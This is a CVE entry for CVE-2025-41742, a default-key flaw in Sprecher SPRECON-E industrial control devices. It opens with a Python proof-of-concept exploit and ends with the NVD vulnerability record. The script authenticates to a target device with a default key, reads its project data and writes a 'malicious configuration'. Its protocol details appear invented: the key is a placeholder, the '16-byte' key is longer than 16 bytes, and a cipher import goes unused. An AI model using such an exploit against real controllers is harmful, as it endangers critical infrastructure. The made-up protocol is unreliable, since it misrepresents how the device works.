CVE-2025-41742

#!/usr/bin/env python3 """ CVE-2025-41742 PoC - Sprecher SPRECON-E Default Encryption Key Exploitation Note: This is for educational and authorized testing purposes only """ import socket import struct import hashlib from Crypto.Cipher import AES TARGET_HOST = "target_device_ip" TARGET_PORT = 12345 DEFAULT_KEY = b"SPRECON_E_DEFAULT_KEY_16B" # Example placeholder key def generate_session_key(default_key, nonce): """Generate session encryption key using default key and nonce""" return hashlib.sha256(default_key + nonce).digest()[:16] def exploit_default_key(): """Attempt to exploit default encryption key vulnerability""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_HOST, TARGET_PORT)) # Step 1: Send authentication request with default key nonce = b"\x00" * 16 # Server nonce session_key = generate_session_key(DEFAULT_KEY, nonce) auth_packet = struct.pack('>I', 0x01) + session_key + nonce sock.send(auth_packet) # Step 2: Receive authentication response response = sock.recv(1024) if response and response[0:4] == b"\x00\x00\x00\x01": print("[+] Authentication successful with default key") # Step 3: Read project data read_cmd = struct.pack('>I', 0x02) + b"\x01\x00\x00\x00" sock.send(read_cmd) project_data = sock.recv(4096) print(f"[+] Project data retrieved: {len(project_data)} bytes") # Step 4: Write malicious configuration malicious_config = b"MALICIOUS_CONFIG_DATA" write_cmd = struct.pack('>I', 0x03) + malicious_config sock.send(write_cmd) print("[+] Malicious configuration written successfully") return True else: print("[-] Authentication failed") return False except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() if __name__ == "__main__": print("CVE-2025-41742 PoC - SPRECON-E Default Key Exploitation") exploit_default_key()

{"cve": {"id": "CVE-2025-41742", "sourceIdentifier": "[email protected]", "published": "2025-12-02T11:15:51.153", "lastModified": "2026-02-23T17:15:44.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sprecher Automations SPRECON-E-C,  SPRECON-E-P, SPRECON-E-T3 is vulnerable to attack by an unauthorized remote attacker via default cryptographic keys. The use of these keys allows the attacker to read, modify, and write projects and data, or to access any device via remote maintenance."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1394"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sprecher-automation:sprecon-e-c_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "9DF00EFE-05D9-48D1-9D32-B0E4E40D14F3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sprecher-automation:sprecon-e-c:*:*:*:*:*:*:*:*", "matchCriteriaId": "17CF3E5A-AAD9-4B96-945D-501E461661CC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sprecher-automation:sprecon-e-p_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F27A10F8-544C-4B48-9FB9-198D79CCB885"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sprecher-automation:sprecon-e-p:*:*:*:*:*:*:*:*", "matchCriteriaId": "E0CC75D6-DD26-42A0-83F4-69423D8F5284"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sprecher-automation:sprecon-e-t3_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "B0BDEAF2-092F-413D-9D16-AAFA484D13AB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sprecher-automation:sprecon-e-t3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6384D2B2-DCDA-445B-8336-E4EF0E2B3267"}]}]}], "references": [{"url": "https://www.sprecher-automation.com/fileadmin/itSecurity/PDF/SPR-2511042_de.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}